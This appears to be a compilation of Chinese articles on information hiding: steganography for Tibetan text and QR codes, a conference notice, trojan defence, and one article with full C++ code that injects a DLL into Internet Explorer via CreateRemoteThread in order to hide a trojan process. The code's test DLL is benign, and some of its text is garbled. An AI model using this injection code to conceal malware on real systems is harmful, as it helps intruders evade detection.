(3) 三維網(wǎng)格模型載體預(yù)處理方法:骨架抽取和內(nèi)切球解析技術(shù)在藏文信息隱藏算法中的應(yīng)用。這種方法不涉及頂點數(shù)量及坐標的改變和拓撲關(guān)系的修改。難點在于尋找一個理想的仿射不變量作為輔助參數(shù)以彌補算法對縮放攻擊的脆弱性。

(4) 藏文的置亂與遺傳優(yōu)化算法:有的藏文字處理系統(tǒng)把藏文看成是由30個輔音、4個元音、3個上加字、5個下加字共42個藏文字符組成的,而有的則認為由其他數(shù)量的字符組成。基于對藏文中加字對發(fā)音的影響規(guī)律的研究,利用字符與二進制碼的解析規(guī)則和置亂與優(yōu)化技術(shù)對信息置亂,達到隱藏信息與載體信息的最大匹配度也是一個技術(shù)難點。

4 藏文信息隱藏技術(shù)研究的新方法

(1)利用載體圖像能量和復(fù)雜度特性,提出基于能量性和復(fù)雜度的藏文信息隱藏區(qū)域生成原則和嵌入規(guī)則。高能量與強魯棒、高復(fù)雜度與高不可見性的對應(yīng)關(guān)系,從根本上解決藏文信息隱藏算法中不可見性和魯棒性的對立問題,為面向藏文通信安全的信息隱藏算法的設(shè)計給出一種普適性方法。

(2)根據(jù)數(shù)字圖像信息隱藏嵌入?yún)^(qū)域的生成原則和嵌入規(guī)則,提出新的、高性能的數(shù)字圖像的藏文信息隱藏算法。算法利用lαβ等顏色空間轉(zhuǎn)換以及多小波對載體圖像進行的處理,生成具有不同能量特性的嵌入?yún)^(qū)域,從頻率域上滿足藏文信息隱藏的應(yīng)用要求;通過對載體圖像進行顏色遷移、矢量解析以及環(huán)形處理,從數(shù)字圖像的空間結(jié)構(gòu)上滿足藏文信息隱藏的應(yīng)用要求。

(3)提出滿足三維模型結(jié)構(gòu)特性和能量特性的藏文信息隱藏算法。算法利用局部高度理論和均值偏移理論對載體模型進行預(yù)處理,生成具有不同能量特性的嵌入?yún)^(qū)域,從頻域上滿足信息隱藏的應(yīng)用要求;通過對載體圖像進行骨架抽取、內(nèi)切球解析,從空間結(jié)構(gòu)上滿足藏文信息隱藏的應(yīng)用要求。

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篇4

1.1 QR二維碼的應(yīng)用背景

隨著中國3G技術(shù)的普及,以及手機本身性能的提高,二維碼作為一種全新的信息存儲、傳遞和識別技術(shù)迅速地融入到了社會生活當中,其保密和安全問題也越來越有研究價值,2012年鐵道部出現(xiàn)了用戶隱私資料信息被二維碼泄密的問題,病毒也開始通過二維碼傳播。目前國內(nèi)針對二維碼數(shù)字加密的技術(shù)的論述并不多,在當前期刊網(wǎng)上有關(guān)二維碼討論的258篇論文也主要集中于二維碼自身的編碼解碼規(guī)則,只有16篇是討論二維碼數(shù)字手段加密的。其中加密采取的主要手段是通過復(fù)雜昂貴的隱形印刷技術(shù)。而討論數(shù)字加密的只是對一般圖像都通用的結(jié)合水印加密,未能很好的結(jié)合QR二維碼自身的編碼規(guī)則,所能負載的加密信息量也極少[3]。

1.2 國內(nèi)外二維碼加密研究現(xiàn)狀

目前,國內(nèi)外關(guān)于二維碼信息隱藏技術(shù)的文獻不是很多,研究對象主要是四一七條碼(Portable Data File417,PDF417碼)和QR碼。在國內(nèi),針對PDF417碼的研究較多且以空域水印為主,在國外,以研究QR碼居多,以頻域水印為主。牛夏牧[7]等利用變形技術(shù)對PDF417碼中的各組成單元寬度加以適量的變動,采用誤差累積的方式實現(xiàn)隱藏信息的嵌入和提取。陳崢等[3]針對PDF417碼,提出了基于邊界移位的隱藏信息嵌入算法。趙博等[4]提出一種基于結(jié)構(gòu)微調(diào)法的水印算法,對PDF417碼的組成條空進行適量的微調(diào),將信息隱藏進二維碼中。晁玉海等[5]提出一種對隱藏信息進行擴頻和映射處理,根據(jù)PDF417碼自身結(jié)構(gòu)特點,通過微調(diào)條碼中的條和空將信息隱藏的方法。Ming Sun等[6]提出兩種基于離散小波變換(Discrete Wavelet Transform,DWT)變換的QR碼數(shù)字水印,分別可以嵌入隨機序列和圖片。Jau-Ji Shen等[7]針對PDF417碼提出一種稱作關(guān)聯(lián)水印的盲水印算法,該算法可以提高水印的嵌入容量并可將PDF417碼用于數(shù)據(jù)認證。

⑴二維碼圖和傳統(tǒng)防偽制作技術(shù)(主要是印刷)相結(jié)合,避免碼圖被直接影印、拍照,比如采用隱形印刷等等;

⑵掌握二維碼編碼技術(shù),對二維碼碼圖本身做特殊處理(如加密、復(fù)合、變形等),這種方法的目的有二,一是可以讓別人的識讀軟件無法識別碼圖,二是可以在這些碼圖中編入特別信息,以作防偽校驗之用。

簡而言之,一個采用特殊印刷技術(shù),一個采用特殊編碼,從而提高技術(shù)門檻也就提高了造假的成本與難度。本文研究算法基于第二種方式,對二維碼碼圖進行特殊處理,達到嵌入 信息進行防偽校驗?zāi)康摹?/p>

2 適用于QR的數(shù)字水印算法

2.1 水印的嵌入算法

2.1.1 水印嵌入位置及表示方案

鏈碼和QR二維碼水印信息的位置選擇和像素值改變方案,根據(jù)鏈碼、改進的LSB算法和二維碼的基本理論,本文結(jié)合處如下表示方案。QR碼圖像是由N*N個深色或者淺色的模塊圖形組成,實驗中是黑色和白色模塊。考慮水印需要的隱蔽性,我們選取黑色的正方形作為水印嵌入單元。假設(shè)QR碼的一個模塊圖形的大小為M*M,其中M為模塊的長度(高度),單位是像素。條碼矩陣的大小為N*N。每個正方形基元占用的像素點為M/N。

如圖2.1所示:跟四鏈碼的結(jié)合方式為將正方形基元平分成四等份,每一塊的大小為M/2N,選擇其中的一塊,按統(tǒng)一水印規(guī)則改變整個選中塊的像素值,嵌入水印信息,按照鏈碼方向的規(guī)則給四個方向的小矩陣編碼為0,1,2,3,四幅圖中的紅色區(qū)域分別對應(yīng)著0,1,2,3。這樣每個黑色QR碼的正方形基元便可以承載一位四進制的數(shù)。當圖像格式為RGB三色圖時,結(jié)合第一章所介紹的改進的LSB編碼規(guī)則,每一塊像素值按規(guī)則改變后又可表示為00,01,10,11的四進制,跟位置的編碼規(guī)則相結(jié)合,每個正方形模塊就可以表示一位十六進制的數(shù),也就是4bit的信息。

2.1.2 水.印嵌入流程

如圖2.2 水印算法的整體嵌入步驟:

第一步:根據(jù)基本信息編碼出未加密的二維碼舉證,自左向右,自上而下,統(tǒng)計N*N黑色和白色模塊的QR二維碼可用來嵌入水印的黑色模塊的個數(shù),記為C,并記錄下各個可用的黑色模塊在二維碼的二維矩陣中的位置。

第二步:依據(jù)偽指紋特征隨機密鑰生成技術(shù),隨機生成三個指紋特征數(shù)據(jù)記為T1、T2、T3,并將T1、T2、T3轉(zhuǎn)碼成和水印嵌入方式所采用的編碼進制(八進制、十六進制等)相同的編碼進制,統(tǒng)計出T1,T2,T3所需要的占用編碼位數(shù)記為n1,n2,n3。

第三步:如果n1+n2+n3>c,則說明水印嵌入位置不足以嵌入所有的指紋特征數(shù)據(jù),當嵌入位置不足時采用基于模擬退火算法競爭機制,解決各個特征信息之間采樣數(shù)競爭問題,模擬退火的優(yōu)勢能保證了嵌入位置的隨機性,和各個特征信息的均衡性。

第四步:依照模擬退火算法競爭機制產(chǎn)生的二維指紋矩陣加密位置對應(yīng)表,對QR二維碼圖形進行加密。

2.2 水印的提取算法

如圖2.3:首先,從加密的二維碼圖片中解碼出二維碼的基本信息。

將加密后的二維碼圖片記為map1和未水印加密的二維圖片記為map2,導(dǎo)入解碼程序中。

第二步:將相應(yīng)的兩幅圖像做減法代數(shù)運算,提取圖像中目標區(qū)域,給定閾值大小為水印差值的一半,將低于閾值的像素點看作相同像素點,差值取絕對值選取為了實現(xiàn)精確定位,因為兩幅圖像編碼格式一致,除了不通目標區(qū)域以外,其他區(qū)域完全相同,包括圖像大小等。

第三部:使用數(shù)學(xué)形態(tài)學(xué)方法,實現(xiàn)斷線的連接,主要目的是保持目標區(qū)域邊緣連續(xù),為孤立點的去除做準備。第三步:使用改進中值濾波去除圖像中孤立異常點,如果除了目標區(qū)域以外,其他區(qū)域完全相同,那么基本不需要去處異常點,在做加入噪聲干擾實驗時去除邊緣毛邊是一個需要除了的問題。

第四步:采用曲線全向跟蹤技術(shù),尋找目標區(qū)域的邊緣輪廓,探查到所有目標區(qū)域邊緣。

第五步:將圖像按照二維碼自身的編碼規(guī)則分成N*N塊,根據(jù)上圖中提取去的各個嵌入水印的矩形區(qū)域的位置,并將區(qū)域大小經(jīng)過閾值判斷,去掉干擾點,定位出各個區(qū)域?qū)?yīng)得編碼值,返回二維矩陣各個嵌入水印值位置對應(yīng)得值。和加密時候保存的加密二維矩陣值進行對比,進行水印驗證。

3 實驗

含有水印的QR碼的識別和提取實驗

算法穩(wěn)定性實驗,流程如下:

(1)產(chǎn)生一段隨機長度和隨機內(nèi)容的文本T1。

(2)將文本T1編碼為QR碼圖形Q1。

(3)計算Q1的水印容量大小。

(4)通過通過隨機指紋發(fā)生器和模擬退火競爭機制產(chǎn)生水印信息W。

(5)向Q1中嵌入水印信息W得到含有水印的QR碼圖形Q2。

(6)識讀Q2得到T2,并與原始編碼內(nèi)容T1對比,記錄對比結(jié)果。

(7)從含有水印的QR碼圖形Q2中提取水印信息WR。

(8)比較W和WR,記錄對比結(jié)果。

(9)重復(fù)1000次步驟(1)~(8)的試驗,并計算QR碼的識別正確率和水印嵌入和提取的正確率。

隨機文本T包含英文字母、數(shù)字和常用標點符號。重復(fù)試驗的次數(shù)為100次,最后記錄實驗結(jié)果并計算正確率。實驗最終得到的數(shù)據(jù)是QR碼的識別正確率為97%,嵌入和提取水印的正確率為95%。該實驗表明,水印算法非常穩(wěn)定,嵌入的水印不會影響到QR碼的正確識別,并且水印信息的嵌入和提取不受水印內(nèi)容和QR碼載體圖像的影響。

4 結(jié)論

提出了一種適用于QR碼的魯棒性和嵌入信息量都適中的水印算法,該算法用鏈碼的方向編碼和改進的LSB算法嵌入水印信息,保證水印信息不會改變QR碼的圖形結(jié)構(gòu),并確保嵌入的水印信息不會影響到QR碼的正確識別。與現(xiàn)有的利用誤差特性進行信息隱藏的算法相比,該算法極大程度增強了數(shù)字水印的隱蔽性,提高了水印信息的嵌入量。同時算法不會受到QR碼的容量限制,并且適合電子保存和打印等多種形式,具有提取水印速度快,抗干擾能力強等優(yōu)勢。并且提出了由多種生物特征提取出的信息組成水印信息的方式,將二維碼與用戶綁定,實現(xiàn)了人碼一體的認證功能。

[參考文獻]

[l]何葉.基于二維條碼的數(shù)字水印技術(shù)研究.長沙理工大學(xué)碩士學(xué)位論文.(2009).

[2]趙博.二維條碼研究.西安電子科技大學(xué)碩士學(xué)位論文.(2007).

[3]紀興中.基于二維條碼技術(shù)的數(shù)字水印系統(tǒng)研究.浙江工業(yè)大學(xué)碩士學(xué)位論文.(2007).

[4]陳哲,張永林.數(shù)字水印技術(shù)在二維條碼證件防偽中的應(yīng)用.計算機工程與科學(xué).28(4).42-44.(2006).

篇5

作者提交的論文,必須是未經(jīng)發(fā)表或未并行地提交給其他學(xué)術(shù)會議或?qū)W報的原始論文。所有提交的論文都必須是匿名的,沒有作者名字、單位名稱、致謝或其他明顯透露身份的內(nèi)容。論文必須用英文,并以 PDF 或 PS 格式以電子方式提交。排版的字體大小為11pt,并且論文不能超過12頁(A4紙)。所有提交的論文必須在無附錄的情形下是可理解的,因為不要求程序委員閱讀論文的附錄。如果提交的論文未遵守上述投稿須知,論文作者將自己承擔(dān)論文未通過形式審查而拒絕接受論文的風(fēng)險。審稿將由3位程序委員匿名評審,評審結(jié)果為:以論文形式接受;以短文形式接受;拒絕接受。

ICICS2013會議論文集可在會議其間獲取。凡接受論文的作者中,至少有1位必須參加會議,并在會議上報告論文成果。

投稿截止時間:2013年6月5日 通知接受時間:2013年7月24日 發(fā)表稿提交截止時間:2013年8月14日

會議主席:林東岱 中國科學(xué)院信息工程研究所 研究員

程序委員會主席:卿斯?jié)h 中國科學(xué)院軟件研究所、北京大學(xué)軟件與微電子學(xué)院 教授

Jianying ZHOU博士 Institute for Infocomm Research,新加坡

篇6

木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序,由于木馬程序是運行在遠程主機上,所以進程的隱藏?zé)o疑是大家關(guān)心的焦點。

本文分析了WindowsNT/2000系統(tǒng)下進程隱藏的基本技術(shù)和方法,并著重討論運用線程嫁接技術(shù)如何實現(xiàn)WindowsNT/2000系統(tǒng)中進程的隱藏。

1基本原理

在WIN95/98中,只需要將進程注冊為系統(tǒng)服務(wù)就能夠從進程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務(wù)管理器,WindowsNT/2000的任務(wù)管理器均能輕松顯示出木馬進程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進程了?我們知道,在WINDOWS系統(tǒng)下,可執(zhí)行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進程,尋找特定進程是我們發(fā)現(xiàn)木馬的方法之一,隨著入侵檢測軟件的不斷發(fā)展,關(guān)聯(lián)進程和SOCKET已經(jīng)成為流行的技術(shù),假設(shè)一個木馬在運行時被檢測軟件同時查出端口和進程,我們基本上認為這個木馬的隱藏已經(jīng)完全失敗。在WindowsNT/2000下正常情況用戶進程對于系統(tǒng)管理員來說都是可見的,要想做到木馬的進程隱藏,有兩個辦法,第一是讓系統(tǒng)管理員看不見你的進程;第二是不使用進程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中,遠程進程則是合法的用戶程序,這樣用戶管理者看到的只是合法進程,而無法發(fā)現(xiàn)木馬線程的存在,從而達到隱藏的目的。

2實現(xiàn)方法

為了弄清實現(xiàn)方法,我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL,DLL是DynamicLinkLibrary(動態(tài)鏈接庫)的縮寫,DLL文件是Windows的基礎(chǔ),因為所有的API函數(shù)都是在DLL中實現(xiàn)的。DLL文件沒有程序邏輯,是由多個功能函數(shù)構(gòu)成,它并不能獨立運行,一般都是由進程加載并調(diào)用的。因為DLL文件不能獨立運行,所以在進程列表中并不會出現(xiàn)DLL,假設(shè)我們編寫了一個木馬DLL,并且通過別的進程來運行它,那么無論是入侵檢測軟件還是進程列表中,都只會出現(xiàn)那個進程而并不會出現(xiàn)木馬DLL,如果那個進程是可信進程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員,也就達到了隱藏的目的。

運行DLL方法有多種,但其中最隱蔽的方法是采用動態(tài)嵌入技術(shù),動態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運行的進程中的技術(shù)。理論上來說,在Windows中的每個進程都有自己的私有內(nèi)存空間,別的進程是不允許對這個私有空間進行操作的,但是實際上,我們?nèi)匀豢梢岳梅N種方法進入并操作進程的私有內(nèi)存。動態(tài)嵌入技術(shù)有多種如:窗口Hook、掛接API、遠程線程等,這里介紹一下遠程線程技術(shù),它只要有基本的進線程和動態(tài)鏈接庫的知識就可以很輕松地完成動態(tài)嵌入。

遠程線程技術(shù)指的是通過在另一個進程中創(chuàng)建遠程線程的方法進入那個進程的內(nèi)存地址空間。我們知道,在進程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠程線程同樣可以共享遠程進程(是遠程進程)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內(nèi)存地址空間,也就擁有了那個遠程進程相當?shù)臋?quán)限。

3實施步驟

1)用Process32Next()函數(shù)找到宿主進程,獲取宿主進程ID,并用

OpenProcess()函數(shù)打開宿主進程。

2)用VirtualAllocEx()函數(shù)分配遠程進程地址空間中的

內(nèi)存。

3)用WriteProcessMemory()函數(shù)將待隱藏的DLL的路徑名。

4)拷貝到步驟二已經(jīng)分配的內(nèi)存中。

5)用GetProcAddress()函數(shù)獲取LoadlibraryA()函數(shù)的實地址(在kernel32.dll中)。

6)用CreateRemoteThread()函數(shù)在遠程進程中創(chuàng)建一個線程。

7)它調(diào)用正確的LoadlibraryA()函數(shù)。

8)為它傳遞步驟二中分配的內(nèi)存地址。

4具體實例

下面是在C++Builder4.0環(huán)境下編寫的運用遠程線程技術(shù)隱藏木馬的程序代碼:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//該頭文件包涵了進程操作的API函數(shù)

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隱藏的DLL文件名

HANDLEhProcessSnap=NULL;//進程快照句柄

HANDLEhRemoteProcess;//遠程進程句柄

LPVOIDpszLibFileRemote;//遠程進程中分配給文件名的空間

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放遠程線程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打開進程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失敗返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//獲取第一個進程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主進程,以IEXPLORE.EXE為例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//獲取下一個進程

}

else

{

MessageBox(NULL,"取第一個進程失敗","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打開遠程進程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假設(shè)hide.dll是待隱藏的進程

intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申請存放文件名的空間

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名寫入申請的空間

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//獲取動態(tài)鏈接庫函數(shù)地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//創(chuàng)建遠程線

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//關(guān)閉遠程線程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//關(guān)閉進程快照

}

該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。

至此,遠程嵌入順利完成,為了試驗我們的hide.dll是不是已經(jīng)正常地在遠程線程運行,我同樣在C++Builder4.0環(huán)境下編寫并編譯了下面的hide.dll作為測試:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//獲取當前進程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

當使用RmtDll.exe程序?qū)⑦@個hide.dll嵌入IEXPLORE.EXE進程后假設(shè)PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

這證明hide.dll已經(jīng)在IEXPLORE.EXE進程內(nèi)正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。

5結(jié)束語

進程隱藏技術(shù)和方法有很多,而且這一技術(shù)發(fā)展也相當快,本文僅從一個側(cè)面加以討論,希望通過這一探討讓我們對進程隱藏技術(shù)有一個更清楚的認識,同時也為我們防范他人利用進程隱藏手段非法入侵提供參考,本文拋磚引玉,不當之處誠懇批評指正。

篇7

Trojan Attack Analysis and Response

Tang Yi

(Suzhou University of Science and Technology,Suzhou215009,China)

Abstract:This paper analyzes Trojan horse attacks,Trojan horse attacks are described details the main technology,and then launched a discussion of their responses,given the idea of testing procedures.

Keywords:Network monitoring;Network attacks;Communication hidden;Firewall

一、引言

據(jù)公安部一份調(diào)查報道顯示,我國近幾年的計算機用戶感染病毒、木馬的比例連續(xù)多年都在80%以上。特洛伊木馬(Trojan horse,簡稱木馬)來源于古希臘神話,Dan Edwards將這一名稱引入計算機領(lǐng)域。木馬和病毒、蠕蟲之類的惡意程序一樣,具有很大的危險與破壞性。能夠刪除或修改文件、上傳和下載文件、盜用客戶信息等。這些年伴隨著木馬在通信隱藏、程序隱藏等方面的不斷發(fā)展,對付其越來越具有了難度。本文針對木馬及其一般攻擊的方式進行分析,并且探討應(yīng)對措施。

二、典型的木馬攻擊方式

木馬的攻擊方式,在本文主要是知其如何地進行感染與滲透,并且進行自身的隱藏,以及進行資料的搜集或者破壞等活動。木馬其攻擊過程的一個典型過程如下:當服務(wù)器端在目標計算機上被執(zhí)行后,這時木馬程序開啟默認的端口從而實現(xiàn)監(jiān)聽,而在客戶機給服務(wù)器的程序發(fā)出鏈接請求要求時,就進行響應(yīng):有關(guān)程序開始運行實現(xiàn)對答客戶機的應(yīng)答,這樣就建立了服務(wù)器端程序跟客戶端之間的連接。建立鏈接以后,指令從客戶端來發(fā)出,而服務(wù)器中則進行指令的分析與執(zhí)行,并將數(shù)據(jù)傳送到客戶端,以達到控制主機的目的。

三、木馬攻擊方式重要技術(shù)分析

(一)目標的感染與植入

向目標主機成功植入木馬是木馬成功運行、發(fā)揮作用的前提。這一過程通常包含偽裝、捆綁、漏洞利用等一切可能利用的技術(shù)手段。這個過程主要有:1.腳本種植技術(shù)。利用網(wǎng)頁木馬,網(wǎng)頁木馬就是當用戶瀏覽某網(wǎng)頁時,自動下載并運行某“木馬”程序。2.利用腳本方式植入。通過ScriPt、Activex及AsP、cGI交互腳本的方式植入。3.利用系統(tǒng)漏洞植入。利用系統(tǒng)的其他一些漏洞進行植入。4.遠程安裝。通過一定的方法把木馬執(zhí)行文件傳送到目標主機的電腦里再進行遠程安裝。

(二)自動加載

在自動加載過程,本身也是一個隱藏著的行為。這需要在操作系統(tǒng)啟動的時候同步地啟動自身,以此達到讓木馬在宿主機中自動運行的目的。常見的木馬啟動方式有:啟動項加入注冊表;win.ini和System.ini中的load節(jié)中添加啟動項;Autoexe.bat中添加;修改Boot.ini的配置;修改Explorer.exe參數(shù)等等。

(三)進程隱藏以及文件隱藏

早期的木馬進程的隱藏采取的措施比較簡單,Windows9x系統(tǒng)要實現(xiàn)進程的隱藏可以通過把木馬程序注冊為服務(wù)的方式來達到。在Windows Nt/2000下,有些進程名字改得和系統(tǒng)進程非常相似,迷惑使用的人;也有的利用HOOK API技術(shù)修改函數(shù)的入口點欺騙列舉本地進程的api函數(shù);當然更好的是使用Rundll32.exe設(shè)計技術(shù)運行木馬本身,這樣在進程列表中顯示出來的就是Rundll而非木馬的可執(zhí)行文件名,文件管理器中不能正確地列出木馬的可執(zhí)行文件。除了進程隱藏,還需要對靜態(tài)文件的隱藏于保密,這里不贅述了。

總而言之,各懷鬼胎的木馬通過以上隱秘的方式,實現(xiàn)了對計算機的攻擊。

四、木馬防范及應(yīng)對

(一)意識層面

提高警惕,養(yǎng)成良好的習(xí)慣。時刻關(guān)注電腦運行的情況,當出現(xiàn)異常情況時如:系統(tǒng)自行運行文件、系統(tǒng)變慢、網(wǎng)絡(luò)流量異常等,要提高警惕,查殺系統(tǒng)。養(yǎng)成良好的上網(wǎng)習(xí)慣,不要上一些有問題的網(wǎng)站,不要隨意下載免費軟件,不要隨意打開郵件附件。

(二)技術(shù)層面

1.系統(tǒng)漏洞補丁的更新,及時為系統(tǒng)打上最新補丁。2.利用一些專殺工具。由于木馬專殺工具往往對特點木馬有非常好的效果,可以考慮周期性的進行應(yīng)用。3.使用防火墻或者系統(tǒng)自帶的功能如IP安全策略、端口篩選等,關(guān)閉系統(tǒng)特定端口,以阻斷木馬服務(wù)端與控制端的連接。

五、木馬檢測程序設(shè)計思路

對于一般使用者,可以積極采用4中所述的方法進行應(yīng)對。對于更加專業(yè)的人員,可以根據(jù)木馬的特點開發(fā)應(yīng)對木馬的工具。目前主要的木馬檢測方法都是對被人們已經(jīng)發(fā)現(xiàn)的木馬程序在在植入系統(tǒng)過程中及在系統(tǒng)中運行時的這些靜態(tài)特征進行分析,提取出這些靜態(tài)特征,構(gòu)建木馬的靜態(tài)特征庫,從而進行靜態(tài)特征檢測。但是這種方法強烈依賴于對木馬的各種隱蔽和變化特征的深刻了解,所以檢測能力不足,對未知的木馬更是無能為力、有根本性的缺陷,更好的方法是應(yīng)用對動態(tài)行為監(jiān)測之方法。考慮到木馬行為的隱蔽性和目的的惡意性,從這兩點區(qū)別入手,用動態(tài)的方法控制木馬植入、隱蔽和惡意操作行為所需要的資源條件,監(jiān)控木馬運行、通信、啟動的隱蔽行為和惡意操作,對木馬進行檢測和防范。當然,也可以從動靜兩方面結(jié)合來進行木馬的監(jiān)測與阻隔。

這些行為的實施,更加有賴于對木馬攻擊方式的了解,要看到木馬技術(shù)一直處于發(fā)展與升級的過程中,所以應(yīng)對它也決不能喪失警惕,需要不斷發(fā)現(xiàn)其攻擊方式的新技術(shù)、新特征,從而提出更好的應(yīng)對方法。

參考文獻:

[1]周宗元,孔健行,武克南.線程插入技術(shù)的研究與防范[J].電腦知識與技術(shù)(學(xué)術(shù)交流),2007,17

篇8

1 信息隱藏技術(shù)與傳統(tǒng)加密技術(shù)

信息隱藏是把秘密信息隱藏到載體信息中,而在感官上不改變載體本身,實質(zhì)上因為隱藏了秘密信息,雖然載體信息本身也做了修改,但人類感覺器官的具有不敏感性,而且數(shù)字多媒體信號本身具有冗余性,這使得加載了秘密信息后的信息與原有的載體信息在感官上沒有明顯區(qū)別,載密后的信息的使用價值也不改變。

信息隱藏技術(shù)與傳統(tǒng)加密技術(shù)的目的都是為了保護秘密信息,但二者還是有一定區(qū)別。最主要的區(qū)別是信息隱藏技術(shù)對載體信號的改變在人的感官層面不容易被發(fā)現(xiàn),可以將秘密信息隱藏于人人可見的載體中,而傳統(tǒng)加密技術(shù)對秘密信息加密后產(chǎn)生的多數(shù)是沒有意義的信息,容易被發(fā)現(xiàn),從而有針對性的破解。換言之,通過信息隱藏技術(shù)載密后,信息在感官上沒有明顯變化,除了秘密發(fā)送和接收方可以訪問載密信息。與加密技術(shù)結(jié)合使用稱為有密鑰信息隱藏,即在嵌入秘密信息前,先將秘密信息進行加密處理,同時生成一個密鑰。在提取秘密信息時,擁有權(quán)限者先得到的是加密的秘密信息,要用發(fā)送方提供的正確的密鑰,還原加密的秘密信息為明文。

信息隱藏技術(shù)主要有隱寫術(shù)、數(shù)字水印技術(shù)、可視密碼技術(shù)、潛信道、隱匿協(xié)議等方法;在具體應(yīng)用中按載體信號的不同分為基于文本、基于數(shù)字圖像、基于音頻、基于視頻等。

2 信息隱寫與數(shù)字水印

隱寫術(shù)是指把隱秘信息嵌入到宿主信息中來進行傳輸,并保證隱秘信息不被未授權(quán)的第三方發(fā)現(xiàn)。因此,隱寫術(shù)要求大容量嵌入與較高的隱蔽性。

數(shù)字水印是基于版權(quán)保護的應(yīng)用而產(chǎn)生的,指嵌入在數(shù)字產(chǎn)品中的信息。數(shù)字水印與隱寫術(shù)的區(qū)別在于其應(yīng)用的目的不同,隱寫術(shù)的目的在于隱藏信息,而數(shù)字水印的目的在于版權(quán)保護,因此水印的魯棒性要求較高,但嵌入容量要求較小。

3 信息隱寫算法的評價

在評價信息隱藏算法時,根據(jù)信息隱藏的不同應(yīng)用場合,有如下技術(shù)性能的要求:(1)不可檢測性,指的是載密信號與原始信號具有相同的特點,不容易被檢測出來。(2)不可感知性,指載密后的信息外觀形態(tài)不因為嵌入的秘密信息而發(fā)生明顯的感官變化,不易被發(fā)現(xiàn)是載有秘密的信息。(3)安全性,是指隱藏算法要有抗攻擊能力,非授權(quán)用戶即使知道該信息為載密信息而對其進行攻擊,也不能破壞原有信息和提取出秘密信息。(4)魯棒性,是對載密信號在傳輸過程中受到一些正常操作,載體中的隱藏信息的具有承受能力,不易損。(5)對稱性,是指信息隱藏中秘密信息的嵌入和提取過程是互逆的,也就是嵌入秘密信息和提取秘密信息可以使用同一算法。(6)自恢復(fù)性,在信息傳遞過程中,某些操作或者變換會對載密信息造成較大的破壞。這時為了保證信息的可用,可根據(jù)破壞后留下的數(shù)據(jù)片段,恢復(fù)出秘密信息,即自恢復(fù)性。

在信息隱藏算法開發(fā)和研究過程中,人們希望可以滿足以上所有的要求,但是在實際情況下,因為有些特性是互斥的,很難同時滿足所有特性,可以根據(jù)實際應(yīng)用場合及媒體特點側(cè)重某些方面。通常來說,嵌入秘密信息的信息容量與算法的不可感知性和魯棒性成反比,也就是說隱藏的信息量越大,載密后信息的越容易被發(fā)現(xiàn)和被損壞。

